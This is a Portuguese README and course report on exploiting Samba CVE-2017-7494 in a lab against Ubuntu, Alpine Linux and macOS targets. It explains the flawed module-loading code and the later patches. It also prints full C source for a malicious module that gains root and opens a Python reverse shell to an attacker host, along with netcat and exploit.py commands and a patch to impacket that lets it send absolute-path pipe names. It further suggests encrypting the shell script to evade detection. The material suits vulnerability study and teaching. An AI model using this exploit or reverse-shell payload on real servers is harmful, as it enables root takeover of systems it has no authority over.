Exploit do CVE-2017-7494 para o trabalho final do curso de Net Security. Isso revelaria a vulnerabilidade de serviços executados com privilégios administrativos no Linux.
Exploração da CVE-2017-7494 para o trabalho final da disciplina de Segurança de Redes. Isso revela a vulnerabilidade de serviços executados com privilégios administrativos no sistema operacional.
Este bug é funcional tanto no macOS quanto no Linux.
Antes da exploração, você precisa baixar as dependências.
/bin/bash install_requirement.sh
Uma das dependências mais importantes é o pacote impacket para Python. Ele faz a conexão SMB funcionar.
No entanto, para construir uma requisição válida que faça o servidor Samba carregar nosso módulo malicioso, temos que modificar o impacket original.
A instalação install_requirement.sh instala uma versão modificada (modificada por mim), então você não precisa se preocupar com isso e não precisa fazer nenhuma modificação manual.
Porém, se você quiser usar uma versão mais nova ou outra versão do impacket, terá que modificar o pacote por conta própria.
Vá para
impacket/impacket/smb3.py, modifique a linha 11154 e comente as duas sentenças seguintes:
# fileName = fileName.replace('/', '\\') Deve ser comentado!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Deve ser comentado!
if fileName[0] == '\\':
fileName = fileName[1:]
Para explorar o alvo, você precisa abrir dois terminais. Um usará netcat para interagir com o shell reverso, o outro será usado para explorar o BUG.
Uso:
# Primeiro terminal: use nc para obter o shell reverso
$ nc -p 23333 -l
# Segundo terminal: explorar o alvo
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Se o alvo for macOS, você não deve compilar o módulo no Linux! Pois o gcc não suporta o formato MACH-O. Se você é um usuário de Mac, a compilação do payload no macOS funciona.
Uma versão pré-compilada está no diretório. O mac_payload.so.
Use a flag -m para fazer o exploit.py saber que você usará um payload personalizado.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Um processo detalhado será postado em chinês como meu trabalho final. Se você entende chinês, será tranquilo para você. :)
—— Relatório de ataque CVE-2017-7494
O EternalBlue causou enormes perdas em 2017, explorando o mecanismo SMB do Windows para ataques de worm. SMB é um serviço executado no Windows que permite o compartilhamento de arquivos e chamadas remotas de procedimentos (Remote Procedure Call, RPC) entre diferentes hosts. Talvez seja justamente essa natureza de funcionalidade que o torna um alvo frequente de hackers.
As vulnerabilidades no kernel do sistema operacional em si devem ser bastante raras — mesmo para o Windows. O que geralmente dá problema são os vários serviços executados sobre o sistema operacional. Eles não possuem código tão rigoroso e testado quanto o kernel, mas executam com privilégios elevados, gerando muitas oportunidades de exploração maliciosa. Então, podemos comprometer todo o sistema atacando serviços de alto privilégio no sistema operacional, em vez de atacar os componentes de baixo nível do próprio sistema? Um sistema operacional sozinho é apenas um kernel, não faz nada; ele só fornece diversas funcionalidades ao executar vários serviços de sistema. Muitos serviços do sistema operacional precisam ser executados com privilégios de administrador (como daemons). Portanto, basta comprometer esse serviço de alto privilégio para obter automaticamente os privilégios de administrador do sistema e, consequentemente, comprometer todo o sistema operacional.
Por fim, encontrei uma vulnerabilidade explorável na implementação open-source do SMB — o Samba — a CVE-2017-7494. Semelhante ao Windows, um hacker pode obter privilégios de administrador do sistema operacional por meio da chamada remota de procedimentos do Samba, tendo assim a oportunidade de construir um worm para atacar pela rede.
O kernel Linux é conhecido por sua segurança devido ao código aberto; já o macOS, por ser um sistema de nicho, com poucos vírus direcionados, também costuma passar uma falsa sensação de segurança. Portanto, este experimento selecionou o macOS e várias distribuições Linux diferentes para ataque, a fim de demonstrar a fragilidade dos sistemas operacionais — não importa o quão "seguro" o design de um sistema operacional pareça, em qualquer circunstância ele pode ser comprometido devido a uma vulnerabilidade em um pequeno aplicativo.
Como o Samba é um serviço equivalente ao SMB, alguns o chamam de "EternalBlue versão Linux", embora eu acredite que, do ponto de vista técnico, haja diferenças essenciais entre os dois:
A vulnerabilidade atual vem principalmente da chamada à função smb_probe_module() na função bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) em source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Aqui está o problema
status = smb_probe_module("rpc", pipename);
....
A função np_open(), que chama is_known_pipename(), é um módulo de controle. Após verificar a solicitação de serviço RPC, ela chama is_known_pipename(). Pelo nome, is_known_pipename() serve para determinar se o pipe remoto já está registrado. Porém, após o Samba 3.50, um novo recurso foi introduzido: carregar módulos dinâmicos chamando smb_probe_module(). Esta vulnerabilidade explora exatamente essa funcionalidade de carregamento de módulos para realizar a chamada de um módulo malicioso construído por nós.
A cadeia de chamadas para carregar o módulo rpc pipe é:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
Nas versões do Samba 3.5.0 ~ 4.6.3, a função do_smb_load_module() é reutilizada tanto por smb_probe_module(), que carrega módulos RPC, quanto por outro smb_load_module(), que carrega módulos próprios. smb_load_module() serve para carregar alguns módulos já conhecidos, provavelmente para extensões internas de funcionalidades do próprio Samba, como módulos VFS; já smb_probe_module() deveria carregar módulos possíveis, talvez vindos de solicitações RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Para ser reutilizada por essas duas funções de origens tão diferentes (embora, na minha opinião, esses dois módulos absolutamente não deveriam reutilizar a mesma função), do_smb_load_module() implementa simultaneamente duas formas: "carregar módulos dentro do subsistema SMB analisando a solicitação" e "carregar módulos por caminho absoluto".
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// Comentário do comentário: se o caminho passado vier de smb_probe_module(), que não deveria fornecer caminhos absolutos, mas acaba fornecendo, essa verificação será inútil. Esse é o princípio da exploração desta vulnerabilidade.
if (subsystem && module_name[0] != '/')
{
// Normalmente entraria no subsistema, convertendo subsistema SMB -> caminho absoluto
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
// Mas carrega diretamente o caminho absoluto que construímos, aqui entra
init = load_module(module_name, is_probe, &handle);
// Assim, init faz um "módulo de pipe inexistente" usar o módulo do caminho absoluto
}
// Aqui entra diretamente na chamada do código malicioso
status = init();
...
Como do_smb_load_module() não sabe se o caminho enviado pela função superior veio de smb_load_module ou de smb_probe_module, surge a possibilidade de construirmos uma solicitação falsificada: transformar o "carregamento de módulo dentro do subsistema" em "carregamento de módulo por caminho absoluto". E se esse caminho absoluto for justamente nosso módulo malicioso predefinido, a exploração é bem-sucedida.
Felizmente, o Samba, como um protocolo que suporta transferência de arquivos, nos permite facilmente enviar nosso módulo malicioso. Além disso, as solicitações DCE também suportam consulta de caminhos absolutos. Com esses dois fatores, podemos facilmente explorar do_smb_load_module() para que ele carregue nosso módulo malicioso de caminho absoluto.
O diagrama do princípio de exploração é o seguinte:

Nas versões posteriores, o Samba corrigiu essa vulnerabilidade, principalmente reforçando a verificação do nome do pipe passado nas solicitações RPC.
A primeira correção foi em is_known_pipename(), usando strchr para verificar se o nome do pipe contém /. Se contiver, significa que está carregando um caminho do Linux, o que deve ser proibido.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
// Adicionou esta linha para verificar, evitando que seja solicitado um módulo de caminho absoluto
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
A segunda correção foi em smb_probe_module() (pelos registros do git, adicionada na versão 4.70). Em comparação com a chamada direta e simples a do_smb_load_module(), foram adicionadas regras mais refinadas:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// Segunda verificação de caminho absoluto
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
Outra camada de defesa foi adicionada. Além disso, as funções de carregamento de módulos foram diferenciadas de forma mais refinada, dividindo as funções originais smb_probe_module() e smb_load_module() em smb_probe_module(), smb_load_module() e smb_probe_module_absolute_path() para reforçar a detecção de caminhos de módulos maliciosos.
Neste experimento, os alvos Linux utilizaram diferentes distribuições Linux — Ubuntu e Alpine Linux — configurando servidores Samba com versões entre 3.5.0 e 4.6.3 usando Docker. O Samba é executado como daemon smbd.
O Alpine Linux é um Linux recente conhecido por ser "leve" e "seguro". Diferente dos Linux comuns atuais, ele não utiliza glibc, mas sim musl libc como ambiente de execução C; também usa o busybox especial como ferramenta de linha de comando. Geralmente, sem recompilação ou modificação de código, softwares Linux comuns não funcionam nele. Isso também leva facilmente à ideia de que "ataques a Linux que usam bibliotecas GNU não funcionam no Alpine Linux".
Além disso, o experimento também incluiu ataques ao macOS — outro sistema que facilmente gera ilusões. O macOS é um sistema sem medidas ativas de segurança, mas como há poucos ataques direcionados a ele, a opinião comum tende a acreditar que "não existem vírus no macOS".
Através da configuração de vários sistemas diferentes e da exploração de uma vulnerabilidade de lógica de programação (não de estouro de buffer), este experimento revela os seguintes fatos:
O Samba Linux foi rapidamente implantado usando Docker, sendo necessário encontrar imagens antigas suficientes no Docker Hub. O Samba do Ubuntu veio de rootlogin/samba, o do Alpine Linux veio de servercontainers/samba:4.6.3. Basta configurar o caminho compartilhado do contêiner.
A versão do macOS usada foi a 11.3 Big Sur.
Como o macOS raramente é usado como servidor, não há versões pré-compiladas antigas do Samba disponíveis para instalação, sendo necessário compilar uma versão antiga manualmente.
Use:
git clone https://github.com/samba-team/samba.git
Baixe o Samba e use a função checkout do git para reverter para a versão 4.6.3.
De acordo com os registros em 11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) e [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h), o Samba para macOS tem problemas de compilação. Embora versões posteriores tenham corrigido, as versões antigas precisam de patches manuais de compilação:
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
Além disso, é necessário adicionar #include <time.h> como cabeçalho em lib/param/loadparm.h.
Por fim, resolva as dependências necessárias para a compilação e então compile, instale e execute a versão macOS do Samba.
Este experimento usa python para atacar o alvo, utilizando o pacote impacket para operações SMB.
O fluxo geral do ataque é:
A função principal do payload malicioso é:
Dessa forma, obtém-se o controle remoto do servidor.
O código é o seguinte:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // Usar subprocesso para separar do processo principal do Samba
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Usar Python para criar conexão TCP e configurar shell reverso
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// Quando o Samba carrega módulos, chama automaticamente esta função como ponto de entrada
int samba_init_module(void)
{
// Texto: YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
A função samba_init_module() é o ponto de entrada após o Samba chamar a função de carregamento do módulo e pode ser o ponto de entrada do código malicioso.
A longa string de caracteres impressa por printf é YOU ARE HACKED:
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
Apenas para fins de entretenimento.
A função become_root() é uma função do Samba, declarada usando extern para facilitar a chamada.
become_root para obter o shell reverso como root. Além disso, atualmente, ao compilar no sistema Apple, o extern pode não funcionar, causando problemas com o linker. Ainda não se sabe o motivo, então usa-se ifdef para evitar o sistema Apple.A função CreateReverseShell() separa o processo do shell reverso do processo principal, funcionando como uma backdoor.
Este payload malicioso do shell reverso usou Python para criar, usando execl para executar o script Python, em vez de uma versão em C, pelos seguintes motivos:
execl compilado.eval(). Podemos criptografar o script que abre o shell reverso, descriptografá-lo na execução real e chamar eval() para executar o payload malicioso, assim evitando a detecção pelos sistemas de segurança mencionados no primeiro ponto.
O payload malicioso para macOS deve ser compilado com o clang do macOS, pois o gcc do Linux não suporta o formato MACH-O de executáveis. Além disso, a compilação não precisa especificar o sufixo .dylib do Mac; basta usar o sufixo .so para compilar.
O script de ataque em Python usa Python 3.7 como ambiente de execução e segue principalmente o seguinte fluxo:
Na entrada, usa-se Options para análise. Quando o usuário fornece um módulo pré-compilado, usa-se o módulo existente sem recompilar; caso contrário, utiliza-se os parâmetros lhost e lport para compilar um novo módulo, de modo a conectar o shell reverso ao atacante.
Como estamos usando um caminho malicioso, precisamos modificar o pacote impacket original para que ele possa enviar a solicitação necessária ao servidor Samba.
Em impacket/impacket/smb3.py, comente as duas linhas na linha 11154:
# fileName = fileName.replace('/', '\\') Deve ser comentado!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Deve ser comentado!
if fileName[0] == '\\':
fileName = fileName[1:]
Isso permite o carregamento de "módulos maliciosos de caminho absoluto".
As demais operações — login, envio de arquivo e carregamento do módulo malicioso — são funcionalidades fornecidas pelo pacote impacket, portanto não serão detalhadas.
Antes do ataque, use netcat para escutar o shell reverso:
nc -p 23333 -l
Em seguida, use:
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
Isso executará automaticamente o script Python, obtendo pela janela do netcat um shell reverso com privilégios de root e o controle remoto do servidor.
Ataque ao Ubuntu:

Ataque ao Alpine Linux:

Ataque ao macOS:

Invadindo o macOS a partir do Windows e executando um script:

scanf_s, strSafe ou algumas "linguagens seguras difíceis de causar estouro de buffer" não resolve todos os problemas; vulnerabilidades exploráveis maliciosamente podem surgir em qualquer lugar inesperado.